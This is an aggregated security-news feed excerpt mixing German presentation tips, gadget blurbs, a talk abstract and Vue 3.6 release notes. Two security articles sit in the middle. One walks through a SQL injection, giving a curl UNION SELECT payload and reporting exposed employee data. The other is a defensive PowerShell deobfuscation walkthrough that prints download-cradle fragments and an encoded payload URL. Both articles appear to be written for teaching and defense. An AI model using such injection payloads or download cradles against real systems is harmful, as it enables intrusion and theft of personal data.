<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-15.08.48.png?w=1024" alt="Präsentation" class="wp-image-4197861" width="1024" height="573" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Große Überschrift, drei bis fünf Bullet Points und noch ein nettes Bild daneben. Nun, es geht besser.</figcaption></figure><p class="imageCredit">stockfour – shutterstock.com</p></div>



<p class="wp-block-paragraph">Mehr ist mehr? Nein, auch bei Präsentationen bewahrheitet sich immer wieder das Sprichwort “Weniger ist mehr”. Nicht jede Information, die Sie vermitteln wollen, muss auf den Folien stehen. Vergessen Sie nicht, dass Sie als Vortragender im Mittelpunkt stehen, nicht Ihre Präsentation. Diese soll lediglich die wichtigsten Zahlen und Fakten hervorheben. Dazu reicht es auch mal, wenn nur ein einziges Wort auf der Folie steht – der Rest folgt dann über die Tonspur.</p>



<h2 class="wp-block-heading">Eine Präsentation ist kein Handout</h2>



<p class="wp-block-paragraph">Sie wollen Zeit sparen und erstellen Präsentationen, die Sie als ausgedruckt gleich als Handout verwenden? Lassen Sie das, im besten Fall haben Sie dann ein toll gestaltetes Handout, aber eine schlechte Vortragspräsentation. Diese sollte im Gegensatz zum Handout schnell und einfach erfassbar sein, die Kernaussagen klar in den Fokus stellen und eine eventuelle Entscheidung gut vorbereiten. Zuviel Content verwirrt und Ihre Zuhörer schweifen ab. Das Handout dagegen sollte Erinnerungen festigen und Detailfragen klären.</p>



<h2 class="wp-block-heading">In der Farbpalette austoben</h2>



<p class="wp-block-paragraph">Verzichten Sie auf einen unkontrollierten Farbenmix, Ihr Corporate Design ist keine Demokratie, sondern eine berechtigte Vorgabe, um Ihr Unternehmen einheitlich nach innen und außen zu präsentieren. Mehr als zwei bis drei verschiedene Farben wirken unruhig und verhindern, dass die Präsentation wie aus einem Guss wirkt.</p>



<h2 class="wp-block-heading">I like to move it, move it</h2>



<p class="wp-block-paragraph">Es flirrt und flattert und jede Animation, die Powerpoint bietet, wird ausprobiert? Ein absolutes No-go, das Sie unbedingt vermeiden sollten. Die Augen Ihrer Zuhörer freuen sich!<br><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Laifen T1 Pro is an electric shaver with an Apple-esque aesthetic that isn't backed up by its performance]]></title>
<description><![CDATA[The T1 Pro looks great, but it struggled to deliver a clean shave and often snagged painfully.]]></description>
<link>https://tsecurity.de/de/3678299/it-nachrichten/the-laifen-t1-pro-is-an-electric-shaver-with-an-apple-esque-aesthetic-that-isnt-backed-up-by-its-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678299/it-nachrichten/the-laifen-t1-pro-is-an-electric-shaver-with-an-apple-esque-aesthetic-that-isnt-backed-up-by-its-performance/</guid>
<pubDate>Sat, 18 Jul 2026 19:08:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The T1 Pro looks great, but it struggled to deliver a clean shave and often snagged painfully.]]></content:encoded>
</item>
<item>
<title><![CDATA[💚 Our Family's Electrotech Journey 🌞🏡🔌⛽️🚘️ (emf2026)]]></title>
<description><![CDATA[The story of how we went all electric, ditched fossil fuels, disconnected our gas supply and stopped burning stuff, and how you can too.

Our experience of converting a ~100 year old semi-detached house to modern clean living, and electrifying other parts of our lifestyle, such as travelling with...]]></description>
<link>https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 17:18:20 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The story of how we went all electric, ditched fossil fuels, disconnected our gas supply and stopped burning stuff, and how you can too.

Our experience of converting a ~100 year old semi-detached house to modern clean living, and electrifying other parts of our lifestyle, such as travelling without flying.

Advice on switching to (and charging) electric vehicles, solar panels and home batteries, insulation, induction hobs and heat pumps. Mistakes made, lessons learned, what we'd do differently next time and how much it saves us.

How to monitor, control and automate your low carbon tech with open energy monitor and home assistant. Tips for making things work together well and play nicely with each other. The perils of cloud integrations and vendors shutting down systems.

Also covering self-built (and bought) air quality monitors for citizen science and environmental monitoring of the changes in air pollution. How to make projects such as Sensor Community and pull the data into your local home management system.

Discover how to be greener, healthier, safer, more resilient/secure, spend less money and have fun geeking out on it along the way.

Learn from our real-world experience in this electrifying talk.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/82-our-familys-electrotech-journey]]></content:encoded>
</item>
<item>
<title><![CDATA[From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise]]></title>
<description><![CDATA[Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.While auditing a financial management web portal (vsswb), I discovered a single unparame...]]></description>
<link>https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:13 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<blockquote><em>Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.</em></blockquote><p>While auditing a financial management web portal (vsswb), I discovered a single unparameterized parameter that ultimately resulted in <strong>unauthenticated Remote Code Execution (RCE)</strong>. This is the technical walkthrough of the exploit chain.</p><h3>1. The Entry Point</h3><p>The vulnerable endpoint was responsible for processing the pJobNumber parameter.</p><pre>vss00CvStatusData.php</pre><p>Appending a single quote (') immediately triggered a raw PostgreSQL error:</p><pre>pg_query(): Query failed: ERROR: unterminated quoted string at or near "## order by wcs.fdate ;"</pre><h3>Observation</h3><p>User-controlled input was being directly concatenated into a SQL statement without parameterization.</p><h3>2. Fingerprinting the Database</h3><p>Using UNION SELECT with NULL placeholders to align the three-column query structure, I extracted the PostgreSQL version and execution context.</p><pre>curl -k -s "https://[TARGET_URL]/vsswb/vss00CvStatusData.php?pAction=LoadTypeCombo&amp;pJobNumber=nonexistent'+UNION+SELECT+NULL,version(),current_user--&amp;pSelection=1"</pre><p>Response:</p><pre>[<br>  {<br>    "wbid": null,<br>    "job": "PostgreSQL 13.1, compiled by Visual C++ build 1914, 64-bit",<br>    "wodetails": "postgres"<br>  }<br>]</pre><h3>Finding</h3><p>The web application connected directly as the native PostgreSQL <strong>postgres</strong> account.</p><p>This is the database superuser, effectively eliminating privilege boundaries.</p><h3>3. Mass Data Exposure</h3><p>With superuser privileges, PostgreSQL system catalogs became fully accessible.</p><p>Enumeration quickly revealed employee records stored in:</p><pre>public.vss01tpemployee</pre><p>The table contained personally identifiable information (PII), including employee names, PAN numbers, and financial records.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=2e0169207286" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise-2e0169207286">From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics]]></title>
<description><![CDATA[A full and detailed insight into CLI forensics, going into depth following a TryHackMe labSource: TechFusionFor incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a...]]></description>
<link>https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677762/hacking/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:48 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>A full and detailed insight into CLI forensics, going into depth following a TryHackMe lab</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*z2_rLeW29e_A1-URgEyBcw.jpeg"><figcaption>Source: TechFusion</figcaption></figure><p>For incident responders, security analysts, and threat hunters, discovering an unknown script execution running on an enterprise workstation triggers an immediate race against time. Is it a harmless administrative automation tool, or is it an advanced information stealer scraping the credential caches of every corporate browser?</p><p>I recommend you first walk through this article and afterwards complete the TryHackMe lab <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a>.</p><p>The core purpose of this tactical playbook is to provide you with a <strong>highly comprehensive, real-world analytical framework</strong> so you can confidently dive into the live lab environment (don’t, i say DON’T worry about committing every single execution flag or decoding syntax to memory; the structural muscle memory will lock in during the hands-on exercises).</p><p><strong>Let’s cut the fluff and begin:</strong></p><p>In modern security operations, the discipline of malware analysis bridges the gap between passive defense and active threat hunting. Using <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9">TryHackMe’s foundational lab</a> featuring <strong>real-world PowerShell obfuscation</strong> strings, this walkthrough guides defenders through the surgical progression required to size up a hostile payload, calculate its technical attributes, map its internal compiled structure, and decrypt its <strong>runtime behavior</strong> safely.</p><h3>📋 The Script Triage Checklist</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fVQzacpYWWO-vFYN.jpg"><figcaption>Source: BitLyft</figcaption></figure><p>When you capture a suspicious script execution string from your <strong>SIEM</strong> (Security Information and Event Management) <strong>logs</strong>, proceed with these steps immediately:</p><ul><li><strong>Isolate and Copy Safely:</strong> Transfer the raw text string into a completely disconnected text editor inside a designated analysis virtual machine.</li><li><strong>Identify the Execution Flags:</strong> Search for evasion switches like -NoP (No Profile), -W Hidden (Window Hidden), or -Enc (Encoded Command), which indicate deliberate bypass actions.</li><li><strong>Locate Network Anchors:</strong> Scan the text string for markers like DownloadString, DownloadFile, curl, or iwr that hint at secondary external downloads.</li><li><strong>Preserve Casing:</strong> Do not run lowercase or uppercase find-and-replace scripts across your sample yet; case variance is often structurally critical to decoding algorithms.</li></ul><h3>Deep Dive: Stripping the Camouflage</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*6nmJ8HdVrRHV92qrBTYjGQ.png"><figcaption><a href="https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812">https://www.researchgate.net/figure/The-obfuscation-techniques-of-code-element-layer_fig2_340401812</a></figcaption></figure><p>Let’s look at an actual example of an <strong>obfuscated script layer</strong> captured directly from an initial access vector payload log.</p><blockquote><strong><em>What to look for in the image:</em></strong><em> Notice how the raw command string uses a combination of string splitting, character swapping, and nested script blocks. Threat actors do this </em><strong><em>to bypass static string matching</em></strong><em> (signatures) used by endpoint detection engines. By analyzing the structural markers, we can map out the exact unpacking routine.</em></blockquote><h4>Layer 1: Undoing String Concatenation</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0nXU-f5TINGOWU1Ce-ffw.png"><figcaption>GPT Images 2.0 generated photo</figcaption></figure><p>Attackers frequently break apart their critical strings using addition operators or variable insertions to stop simple pattern scanners.</p><pre># Obfuscated string snippet<br>$a = "Down"; $b = "load"; $c = "String"<br>. ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )</pre><p><strong>The Fix:</strong> You don’t have to guess what this does. By loading the script into an isolated PowerShell CLI and replacing the aggressive execution operator (like . or Invoke-Expression / IEX) with a safe print directive like Write-Output, the environment itself will assemble the string for you:</p><pre># Safe evaluation technique<br>Write-Output ( $ExecutionContext.InvokeCommand.ExpandString('$' + 'a' + '$' + 'b' + '$' + 'c') )<br># Output result: DownloadString</pre><h4>Layer 2: Demangling Character Shuffling</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m92GtATfKF2yD6KmfMs2HQ.png"><figcaption>GPT Images 2.0 generated image</figcaption></figure><p>Another popular mechanism involves using <strong>format strings</strong> to re-order components out of sequence at runtime:</p><pre>"{2}{0}{1}" -f 'Net.','WebClient','New-Object </pre><p>The -f operator acts as an indexing map. To decrypt it manually:</p><ul><li>Position {2} grabs the 3rd element: New-Object</li><li>Position {0} grabs the 1st element: Net.</li><li>Position {1} grabs the 2nd element: WebClient</li></ul><p>When evaluated sequentially by the command pipeline, it structures clean and functional telemetry: New-Object Net.WebClient.</p><h4>Layer 3: Defeating Base64 and XOR Rings</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cEgUTPr8IvHXOAQhUBqjA.png"><figcaption>GPT Images 2.0 generated figure</figcaption></figure><p>The final boss of script obfuscation is almost always an <strong>encoded byte block</strong>. Base64 is easily recognizable by its standard alphanumeric character set and trailing padding markers (=).</p><p>To quickly unwrap these blocks without running the malicious code:</p><ul><li>Copy the raw payload block inside the command string.</li><li>Load the payload directly into <strong>CyberChef</strong> (the open-source utility for security operations).</li><li>Chain together the <strong>From Base64</strong> recipe followed by <strong>Decode Text (UTF-16LE)</strong>.</li></ul><pre>Input:  aAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AbgBlAHQALwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUA<br>Output: http://malware.net/payload.exe</pre><p>By working backward through these layers, you quickly isolate the final <strong>Indicators of Compromise (IoCs) </strong>— such as the secondary payload download URL or target staging paths — allowing your security infrastructure to immediately blacklist the server across the enterprise.</p><h3>🧠 Strategic Takeaway</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RnNGqsHcsh-4wOWfT3Lkag.jpeg"><figcaption>(yayy)</figcaption></figure><p>The <a href="https://tryhackme.com/room/obfuscation-aoc2025-e5r8t2y6u9"><strong>Obfuscation: The Egg Shell File</strong></a> analysis framework underscores a foundational truth of computer network defense: Malware cannot accomplish its mission without leaving a structural or behavioral footprint inside operational logs.</p><blockquote>Whether it is a distinct jump in character selection counts, an unexpected system variable concatenation flag, or a sudden burst of hidden network invocation arguments executed entirely from background windows, an <strong>obfuscated script pipeline</strong> will always reveal its true payload target under systematic scrutiny.</blockquote><p>By utilizing platforms like <strong>CyberChef</strong> to strip back multi-layered <strong>Base64 and XOR encoding architectures</strong> and verifying those outputs within isolated environments, defenders completely eliminate the guesswork from administrative code reviews.</p><p>Go log into <strong>the TryHackMe room</strong>, reverse the nested string layout structures of the script sample, map out the true operational strings, and transform your defensive triage into an optimized playbook.</p><h3>📈 Master the Art of System Forensics &amp; Threat Intelligence</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*SLfKdWyn-nVH4_for38UxQ.jpeg"><figcaption>The author</figcaption></figure><p>Generic security training <strong>completely collapses</strong> when sophisticated threat groups deploy obfuscated, packed, and tailored payloads across your endpoints.</p><p>To ensure you never miss an in-depth threat intelligence playbook pulling back the curtain on advanced binary analysis, active threat hunting, and modern defense frameworks:</p><ul><li><strong>Follow Pop123 on Medium</strong> for immediate notifications on all newly published technical deep-dives, infrastructure hardening playbooks, and reverse-engineering guides.</li><li><strong>Explore my Security and Machine Learning Projects on </strong><a href="https://github.com/pop123-ux"><strong>GitHub</strong></a></li><li><strong>Subscribe to direct email updates</strong> by clicking the envelope icon (✉️) right next to the follow button so these critical tactical breakdowns land straight in your inbox.</li></ul><p><em>Thank you for reading. This article was entirely written by Pop123. If you found this technical breakdown of the malware analysis matrix valuable, consider leaving a clap and sharing your thoughts, configuration questions, or analytical feedback in the responses below, I am as always open to further discussing the interesting topics!</em></p><p><strong>For collaborations and inquiries</strong>: alexandrupp55@gmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d96840b5b5ef" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/decoding-the-obfuscated-layer-a-playbook-walkthrough-of-command-line-forensics-d96840b5b5ef">Decoding the Obfuscated Layer: A Playbook Walkthrough of Command-Line Forensics</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shark makes some of the best vacuum cleaners — this convenient Clean & Empty model just got a tempting price cut on Amazon]]></title>
<description><![CDATA[The Shark Clean & Empty is a powerful and convenient vacuum from one of the best-rated manufacturers — it's now got a tempting £150 price cut on Amazon.]]></description>
<link>https://tsecurity.de/de/3677596/it-nachrichten/shark-makes-some-of-the-best-vacuum-cleaners-this-convenient-clean-empty-model-just-got-a-tempting-price-cut-on-amazon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677596/it-nachrichten/shark-makes-some-of-the-best-vacuum-cleaners-this-convenient-clean-empty-model-just-got-a-tempting-price-cut-on-amazon/</guid>
<pubDate>Sat, 18 Jul 2026 09:18:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Shark Clean &amp; Empty is a powerful and convenient vacuum from one of the best-rated manufacturers — it's now got a tempting £150 price cut on Amazon.]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.6.0-rc.1]]></title>
<description><![CDATA[Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.
3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.
For more details about Vapor Mode, se...]]></description>
<link>https://tsecurity.de/de/3677302/downloads/v360-rc1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677302/downloads/v360-rc1/</guid>
<pubDate>Sat, 18 Jul 2026 03:16:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.</p>
<p>3.6 also includes a major refactor of <code>@vue/reactivity</code> based on <a href="https://github.com/stackblitz/alien-signals">alien-signals</a>, which significantly improves the reactivity system's performance and memory usage.</p>
<p>For more details about Vapor Mode, see the <a href="https://github.com/vuejs/core/releases/tag/v3.6.0-rc.1#about-vapor-mode">About Vapor Mode</a> section later in this release note.</p>
<h3>Bug Fixes</h3>
<ul>
<li><strong>hydration:</strong> avoid resolving inherited fallback in forwarded slots (<a href="https://github.com/vuejs/core/commit/4c215b5bd293e18f3a4c62b627a7696016afb982">4c215b5</a>)</li>
<li><strong>hydration:</strong> remove adopted SSR DOM for unresolved async setup (<a href="https://github.com/vuejs/core/commit/3859af4066edeba647e886decb9b4737d7f371cc">3859af4</a>)</li>
<li><strong>runtime-vapor:</strong> avoid patching invalid VNode slot content (<a href="https://github.com/vuejs/core/commit/25f5a8ae6ed3df9c4e3fbaed0da32ce0466c5612">25f5a8a</a>)</li>
<li><strong>runtime-vapor:</strong> clean up detached slot branches (<a href="https://github.com/vuejs/core/commit/b41009d41b21c98174b214eebd271d456215d177">b41009d</a>)</li>
<li><strong>runtime-vapor:</strong> defer slot content anchors during hydration (<a href="https://github.com/vuejs/core/commit/9b9e4bd6efdbce7de258d27e88155bff657d6ae9">9b9e4bd</a>)</li>
<li><strong>runtime-vapor:</strong> preserve outer pending slot anchors (<a href="https://github.com/vuejs/core/commit/4af4bf92a46426631ed6323e542227855b2fc86f">4af4bf9</a>)</li>
<li><strong>runtime-vapor:</strong> preserve slot content anchors during mismatch recovery (<a href="https://github.com/vuejs/core/commit/26f90b58977ee84569b5599700dbe9e864c880a4">26f90b5</a>)</li>
<li><strong>runtime-vapor:</strong> preserve v-show transition on vdom child (<a href="https://github.com/vuejs/core/issues/15074" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15074/hovercard">#15074</a>) (<a href="https://github.com/vuejs/core/commit/fe882c93bb3ec37772126de1cb5c646edb56ace4">fe882c9</a>), closes <a href="https://github.com/vuejs/core/issues/15073" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15073/hovercard">#15073</a></li>
<li><strong>runtime-vapor:</strong> preserve vapor slot owner during interop slot dry run (<a href="https://github.com/vuejs/core/issues/15031" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15031/hovercard">#15031</a>) (<a href="https://github.com/vuejs/core/commit/340630ea37388e12f176a11cadcbdfe8e55e5912">340630e</a>)</li>
<li><strong>runtime-vapor:</strong> preserve VNode anchors in dynamic component hydration (<a href="https://github.com/vuejs/core/commit/898e2ca2441ea3ac064f3b38db47a0aa1b7a556d">898e2ca</a>)</li>
<li><strong>runtime-vapor:</strong> remove unsafe slot dry runs from vdom interop (<a href="https://github.com/vuejs/core/issues/15089" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15089/hovercard">#15089</a>) (<a href="https://github.com/vuejs/core/commit/3d42cdf380b23da000de0ff9d6c3de5d77e0b0d1">3d42cdf</a>), closes <a href="https://github.com/vuejs/core/issues/14793" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/14793/hovercard">#14793</a></li>
<li><strong>runtime-vapor:</strong> reuse hydration anchor candidates (<a href="https://github.com/vuejs/core/commit/06778e705aa87e35f6058c575c562c355a365523">06778e7</a>)</li>
<li><strong>vapor:</strong> handle v-if and v-show on transition roots (<a href="https://github.com/vuejs/core/issues/15069" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15069/hovercard">#15069</a>) (<a href="https://github.com/vuejs/core/commit/8f62f2e57519dcb80c9b3b42588c77ee6d2b0a2f">8f62f2e</a>), closes <a href="https://github.com/vuejs/core/issues/15068" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15068/hovercard">#15068</a></li>
</ul>
<h2>About Vapor Mode</h2>
<p>Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.</p>
<p>It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.</p>
<p>Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in <a href="https://github.com/krausest/js-framework-benchmark">third-party benchmarks</a>.</p>
<h3>General Stability Notes</h3>
<p>Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:</p>
<ul>
<li>Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.</li>
<li>Building small new apps entirely in Vapor Mode.</li>
</ul>
<h2>Opting In to Vapor Mode</h2>
<p>Vapor Mode supports template-only SFCs and SFCs using <code>&lt;script setup&gt;</code>; the Options API is not supported. The following forms are supported:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p><code>&lt;script vapor&gt;</code> is shorthand for <code>&lt;script setup vapor&gt;</code>:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p>The <code>vapor</code> marker can also be placed on the template, enabling Vapor compilation for the entire SFC:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template vapor&gt;
  <!-- ... -->
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span> vapor&gt;
  <span class="pl-c"><span class="pl-c">&lt;!--</span> ... <span class="pl-c">--&gt;</span></span>
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h2>Creating an App and Using VDOM Interop</h2>
<h3>Pure Vapor Applications</h3>
<p>Applications composed entirely of Vapor components can use <code>createVaporApp()</code>:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createVaporApp</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createVaporApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.</p>
<h3>Enabling VDOM Interop</h3>
<p>To use Vapor components in a VDOM app instance created via <code>createApp()</code>, the <code>vaporInteropPlugin</code> must be installed:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createApp</span><span class="pl-kos">,</span> <span class="pl-s1">vaporInteropPlugin</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">use</span><span class="pl-kos">(</span><span class="pl-s1">vaporInteropPlugin</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>A Vapor app instance can also install <code>vaporInteropPlugin</code> to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.</p>
<p>Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.</p>
<p>When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.</p>
<p>In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.</p>
<h2>Feature Compatibility</h2>
<p>By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:</p>
<ul>
<li>Options API</li>
<li><code>app.config.globalProperties</code></li>
<li><code>getCurrentInstance()</code> returns <code>null</code> in Vapor components</li>
<li><code>@vue:xxx</code> per-element lifecycle events</li>
<li><code>v-memo</code></li>
<li>Component template refs do not expose properties such as <code>$el</code>, <code>$props</code>, <code>$attrs</code>, <code>$slots</code>, and <code>$refs</code></li>
</ul>
<h2>Important Usage Considerations</h2>
<h3>Event Delegation and <code>stopPropagation()</code></h3>
<p>Vapor delegates eligible events to <code>document</code>. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.</p>
<p>If any ancestor calls <code>stopPropagation()</code>, the event never reaches <code>document</code>, and the delegated handler will not run.</p>
<p>The following forms bypass delegation and attach the listener directly to the element:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='&lt;button @[event]="onClick" /&gt;
&lt;button v-bind="{ onClick }" /&gt;
&lt;button v-on="{ click: onClick }" /&gt;'><pre>&lt;<span class="pl-ent">button</span> @[<span class="pl-s1"><span class="pl-c1">event</span></span>]=<span class="pl-pds">"</span><span class="pl-s1"><span class="pl-smi">onClick</span></span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-bind</span>=<span class="pl-pds">"</span><span class="pl-s1">{ <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-on</span>=<span class="pl-pds">"</span><span class="pl-s1">{ click: <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;</pre></div>
<h3><code>slots.default()</code> Is Not a Safe Dry Run</h3>
<p>In Vapor, <code>slots.default()</code> is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.</p>
<p>Do not call a slot to inspect its output before deciding what else to render:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
&lt;/script&gt;

&lt;template&gt;
  &lt;div v-if=&quot;showFallback&quot;&gt;Fallback&lt;/div&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">import</span> { <span class="pl-smi">useSlots</span> } <span class="pl-k">from</span> <span class="pl-s"><span class="pl-pds">'</span>vue<span class="pl-pds">'</span></span></span>
